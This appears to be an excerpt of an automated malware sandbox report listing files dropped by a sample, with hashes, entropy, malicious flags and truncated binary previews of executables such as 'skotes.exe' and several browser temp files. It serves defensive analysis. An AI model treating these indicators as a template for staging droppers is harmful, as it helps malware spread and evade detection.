MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1950208
Entropy (8bit):	7.951857617078926
Encrypted:	false
SSDEEP:	49152:B2Ch+L2RZC/+2I/HZlm1mNl4UiJ/KMVNg3KvS:B2xLgZFlqmT4UgNW3
MD5:	C680DCFC26E4B6CA62B7C9334C27D059
SHA1:	68D918CB7C93443C527CDA64E663C7F6007EA87B
SHA-256:	E4BD4AD362C170116F997AE2AA8D132C5C2989199AF906FF2E1931E8409CC1F1
SHA-512:	4537BE10B145A99E43ECBD35C715028B1667653154D166A3E2040F0C06D07B416FDD618CA319C23A62098E100542CD3ACD2CCD4587D3312480100A93EACE4F78
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@.......................... M.....X.....@.................................W...k.......D.....................L.............................@.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...cmeqxuop.....02.....................@...caylklxg......L.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.398288545142209
Encrypted:	false
SSDEEP:	96:6NnQ2HQ6NnQ8bQeNnQ89QnNnQ1dgEQ9NnQFriQvNnQq7DQHNnQEwQUNnQL6Z3QL+:6NhNfNqN8MNINhoNrgNw66+
MD5:	0DD9FECF9AC102A5311C70D0D9C221CC
SHA1:	E13C8D3B38D8474E77DA418EA05DE1CA8BB18B31
SHA-256:	8D15E4160576E935EF193D4153F25490744EE271894E4CFFB73C45EDC891A7FA
SHA-512:	BA99F1F52BD73983AEB824CFE990386D644020DAF147703A953CA1A592FB9A25A7E0CAC85EB9C6C0CB134B18ABA3FE1E16B9594B511B3AE46482D1B5E504C1FA
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/88E5C3735A734D68151828123593C06D",.. "id": "88E5C3735A734D68151828123593C06D",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/88E5C3735A734D68151828123593C06D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E6134570F5061C46A0CEC3734CFBB3B4",.. "id": "E6134570F5061C46A0CEC3734CFBB3B4",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E6134570F5061C46A0CEC3734CFBB3B4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Temp\0a907e5e-5df8-4874-a3d6-d331cf5452a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1610723
Entropy (8bit):	7.9926458165639716
Encrypted:	true
SSDEEP:	49152:yELndreuYXfVFyORPINoTMINfQKRD5VU7oSgPWC:yEZrtYPOYQNoTXNfQKjV9xZ
MD5:	907F51B2880F73D4E46A897547B01DE4
SHA1:	DE7895246C244C06236208B549A4081B975769E8
SHA-256:	5ED07865CDABD591255C685DA3B6F6C078322B503E5EECF034A8C9641D1424CA
SHA-512:	E1530667C0B84AF5CDAA14AF07A44A41D6B64FA7161C85B13603327BCDA398565D5D64DA3A15119E0B1BD6971D9EE7D4203E078572999B86E11714C19D8404D8
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.....pHYs...........k.....iTXtXML:com.adobe.xmp.....<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>..<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:tiff="http://ns.adobe.com/tiff/1.0/"><tiff:Orientation>1</tiff:Orientation></rdf:Description></rdf:RDF></x:xmpmeta>..<?xpacket end='w'?>,.......IDAThC.Io#Iz.....L&W.Z(j.*U..l_.Kl.a``......0.1...G.?a.d.in...x..J..E...L.1.Lj+..U.....Tf,o..E\|oD......-.]S.-Tb.a..A...M.;..M.ea..!.X.n......?..<0....4IU.$......h..fh.8M. <..#f?../.J.U.(W.........aq?.....T.q....N4w.b.7?....84[{-v..R..... .Cd-Rw....o{.....K"q....!\^.v/..`........;;O..'..sA....`..D.V..". .......\.D...( .`>......N...e[L..O....=2.>}...}..P....#".....,...w.w.H>"A..>t.Q....O._....M.........R.5....oO........$.......^.gm..X6XV.<.}!H4.z.m...PJ}...F.XNM.P.i6+\|.U...8..B\|? .#.4}...#M

C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873408
Entropy (8bit):	7.948233275439055
Encrypted:	false
SSDEEP:	24576:Wpp/RODb8cg8sMjq5BlqRxKwcAAybNf3sOd5kD/V/zDxd/XEqkFc1fuYHuog+s0P:spODb8cgtVp/FyKou7F9JX+FYH5
MD5:	A63CADCE90E5A2236DF20FEAF391A8A5
SHA1:	F28A33957756A509324DEBAF69561557D09951E0
SHA-256:	8B30A280CA29471088EA3858B9F3E1788239DFE5D6E71A503C7916AC36F74FE9
SHA-512:	CD757A61E39C6B59D8971631F4C7041AB323BE8250B57F12C2375EB46C22B0CEE965DF35F17794B9FE1B2DA8C5CAF6E38A41A8C9908092ADFFD35B4C76809E1C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................0J...........@..........................`J......B....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...tjxhgeed..... 0......x..............@...ccdijxqb..... J......n..............@....taggant.0...0J.."...t..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008916001\bf0500e203.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1490944
Entropy (8bit):	7.9848367348088045
Encrypted:	false
SSDEEP:	24576:1+ReirgIbns/5M8/BPwlSUf5ZzXGLV6mlVE0BTF+2XDC30wUEfAEWt+AhiJ86tsK:2eGgIbsxMOB4ZnXyV6mlVJFgZUE3tpJF
MD5:	E8E681494CA3ABF9D1ADEC9FB5BFB5B3
SHA1:	75FBDAEDEB9BEDFF751E7926F6B118A804049086
SHA-256:	475C31890BD0EC3D977B5DD3A72AF6BBA048901804C479AADAEB7B896AAC2A32
SHA-512:	9D4196DE995D8318523CBD002741B725002A47B24716A3D25B1D56EFB10631897FB13C7ED5AB78527AB3F94DDA60C2418A59C702E3251CBBE0CA4CC365B0DB89
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@...................................C...@... ............................._.q.s...........................................................P....................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...ugpfseiq.........v....'.............@...jhuzbkez..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\336c8b13-8321-4552-af86-27adbfc8ff35.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\430c3318-55ae-4c6a-801a-b4d07ee24c93.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\99d59d8d-0b19-44df-a366-d3849b5b6935.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\a56bb930-e399-4585-9cb9-add9353d0878.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsFBFCAKKKFB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1950208
Entropy (8bit):	7.951857617078926
Encrypted:	false
SSDEEP:	49152:B2Ch+L2RZC/+2I/HZlm1mNl4UiJ/KMVNg3KvS:B2xLgZFlqmT4UgNW3
MD5:	C680DCFC26E4B6CA62B7C9334C27D059
SHA1:	68D918CB7C93443C527CDA64E663C7F6007EA87B
SHA-256:	E4BD4AD362C170116F997AE2AA8D132C5C2989199AF906FF2E1931E8409CC1F1
SHA-512:	4537BE10B145A99E43ECBD35C715028B1667653154D166A3E2040F0C06D07B416FDD618CA319C23A62098E100542CD3ACD2CCD4587D3312480100A93EACE4F78
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@.......................... M.....X.....@.................................W...k.......D.....................L.............................@.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...cmeqxuop.....02.....................@...caylklxg......L.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c1d55d12-8fb0-4602-bf22-2b10d2a94d33.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.382848055963911
Encrypted:	false
SSDEEP:	24:YJxF5sQ5szAW01Rp5yK10YO5qv70VhQu5Fa0mt5OLj0HLAV5M:YJxF5sQ5sEW01X5y60YO5qD0VH5Fa0ml
MD5:	00FC91C0F60266F95DF11E32EB4FD3C7
SHA1:	EE1080348A56D9A2F30D3D5335145327440BC306
SHA-256:	B0C1348E8E21422FA0AC12498CE58839E126FFC70ADAD4303C5ECCF9607D4422
SHA-512:	3C3587F07A0FC0946B881EB51510EA524FFC8D3052E5E756CF0D35C5B380BCC1D122116B49FF590C8A4A59B0AF43F69C080DFC5869A8B395B85AA1906F0B96AE
Malicious:	false
Preview:	{"logTime": "1005/081724", "correlationVector":"2/PmMr7SOFFRIqTwW+HesJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"mBsci4p0IuAlecFQAh3IDU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"EFCCE5F7ECC74238A0D17C500D8EB81C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083130", "correlationVector":"jkXXrPbML/1ucIa5c7okZ6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083130", "correlationVector":"CECEB17551BE48CCBF3DD12E07118D84","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083241", "correlationVector":"WUtA7xoJfeUJPFSRRtPAng","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083242", "correlationVector":"B7F67C44DD3147F7BE748158D3F8E7B5","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083444", "correlationVector":"6kKZpL8SvSsrBcj/Fl+tva","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083445", "correlationVector":"94D95442

C:\Users\user\AppData\Local\Temp\ec5d408b-ac82-4cd7-aa36-9a9a7dbaa329.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GM0GqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEIO:l81Ltl7E6lEMVo/S01fDpWmEgs
MD5:	FE412FA3A2B510A55FE8496C5490BB2F
SHA1:	499667BC9FE43344D037FB95A6563AD30D3DB3D5
SHA-256:	DE6110AFBA31DC638DE84FD6D255D78C2125CEFADCE3774B310149B4EBE5EE1D
SHA-512:	3E8821A1249AA4DC88629C9D6BF6BAD0AE9074CFCACB22B3E856F05DB9DCB54A5B4A3F03D9BE94F06C79F28313C95F5E77A66543ADA180ACBE71BC824AEB47B5
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir3504_1500761458\99d59d8d-0b19-44df-a366-d3849b5b6935.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir3504_1500761458\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir3504_1500761458\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
